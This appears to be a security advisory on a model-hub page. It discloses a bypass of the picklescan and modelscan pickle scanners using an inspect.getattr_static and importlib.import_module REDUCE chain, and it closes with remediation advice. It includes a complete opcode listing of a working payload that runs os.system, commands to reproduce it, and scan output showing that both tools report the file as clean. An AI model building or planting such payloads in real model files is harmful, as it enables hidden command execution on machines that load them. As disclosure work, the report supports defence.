YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Pickle scanner bypass β inspect.getattr_static + importlib.import_module REDUCE chain
Class: Malicious-pickle detection bypass (new getattr-substitute gadget) Targets:
picklescan1.0.5 (default / non-strict mode) β https://github.com/mmaitre314/picklescanmodelscan0.8.8 β https://github.com/protectai/modelscan
Impact: A pure-pickle payload achieves arbitrary command execution (os.system(<cmd>)) at
pickle.load time while both scanners report the file as clean (picklescan: Infected files: 0;
modelscan: No issues found). Any pipeline that gates untrusted model files on either scanner is bypassed.
Root cause
Both scanners are pure global-denylist static analyzers: they walk the pickle opcode stream
(pickletools.genops) and flag GLOBAL / STACK_GLOBAL operands whose module.name appears in a
hardcoded denylist of dangerous imports.
Every general-purpose attribute/name resolution primitive that would let an attacker reach
os.system indirectly is already denied, precisely because these resolve names at unpickle time:
builtins.getattroperator.attrgetter/_operator.attrgetter,itemgetter,methodcallerpkgutil.resolve_name
But inspect.getattr_static β a functionally equivalent attribute-resolution primitive; for a
module argument it simply returns module.__dict__[name] without triggering descriptors β is absent
from both denylists, and so is importlib.import_module.
Denylist grep (verbatim) β matches for getattr_static / import_module as blocked globals:
picklescan (v313/.../picklescan/*.py): 0
modelscan (v312/.../modelscan/settings.py): 0
(The only import_module strings anywhere in the modelscan tree are in modelscan.py /
middleware.py, where modelscan itself uses importlib.import_module to load its own scanner
plugins β not denylist entries.)
The gadget
A pure-pickle REDUCE chain, no builtins.getattr anywhere:
importlib.import_module('os')β the liveosmodule objectinspect.getattr_static(os_module, 'system')β the boundos.systemfunctionos.system('<cmd>')β command execution
The dangerous strings 'os' and 'system' only ever appear as SHORT_BINUNICODE string
operands, which genops does not classify as globals. The only globals the scanners observe are
inspect.getattr_static and importlib.import_module β neither denied. picklescan (non-strict
default) classifies them merely as Suspicious (Suspicious globals: 2, Dangerous globals: 0,
Infected: 0); modelscan emits no issue at all.
Novelty / dedup
This is a distinct getattr-substitute from the 16 gadgets tracked in the scanner-bypass corpus. The
"obvious" importlib.import_module + getattr chain fails, because builtins.getattr is
denied. Substituting inspect.getattr_static for builtins.getattr is exactly what makes the chain
slip past both denylists. No CVE or prior public report covers inspect.getattr_static as a pickle
gadget as of packaging (2026-07-16).
PoC
build.py emits a 77-byte protocol-4 pickle. Opcode chain:
0: \x80 PROTO 4
2: c GLOBAL 'inspect getattr_static'
26: ( MARK
27: c GLOBAL 'importlib import_module'
52: ( MARK
53: \x8c SHORT_BINUNICODE 'os'
57: t TUPLE
58: R REDUCE # -> os module
59: \x8c SHORT_BINUNICODE 'system'
67: t TUPLE
68: R REDUCE # -> os.system
69: ( MARK
70: \x8c SHORT_BINUNICODE 'id'
74: t TUPLE
75: R REDUCE # -> os.system('id')
76: . STOP
Reproduce
# execute (RCE) on CPython 3.13
scan313/bin/python build.py "id"
scan313/bin/python -c "import pickle; pickle.load(open('payload.pkl','rb'))"
# scanners see nothing
scan313/bin/picklescan -p payload.pkl # picklescan 1.0.5, default
scan312/bin/modelscan -p payload.pkl # modelscan 0.8.8
Note on Python versions: modelscan 0.8.8 pins Requires-Python <3.13, so it is run from a 3.12 venv.
It is a static opcode scanner β its host Python version has no bearing on the verdict. The payload
itself executes under CPython 3.13.12.
Captured evidence (verbatim)
EXECUTE on Python 3.13.12
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),...
exit=0
/tmp/gadget_proof.txt -> GADGET_RCE_742721
(A chained-command build wrote both id output and a unique marker to /tmp, confirming real
os.system execution, not a benign side effect.)
picklescan 1.0.5 (default, py3.13) β payload.pkl
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
modelscan 0.8.8 β payload.pkl
Scanning .../payload.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
Negative control β standard os.system __reduce__ pickle (neg.pkl)
Proves both scanners are live and specifically blind to the getattr_static chain:
picklescan: neg.pkl: dangerous import 'posix system' FOUND
Infected files: 1 / Dangerous globals: 1
modelscan: Total Issues: 1
Total Issues By Severity: CRITICAL: 1
Remediation
Add inspect.getattr_static and importlib.import_module (and audit for further
attribute/name-resolution primitives such as importlib.__import__, runpy, inspect.getattr_static)
to both denylists. More robustly: denylists over indirection primitives are structurally incomplete;
prefer an allowlist of permitted globals, or block any REDUCE/STACK_GLOBAL whose callable is
a module-resolution or attribute-resolution primitive.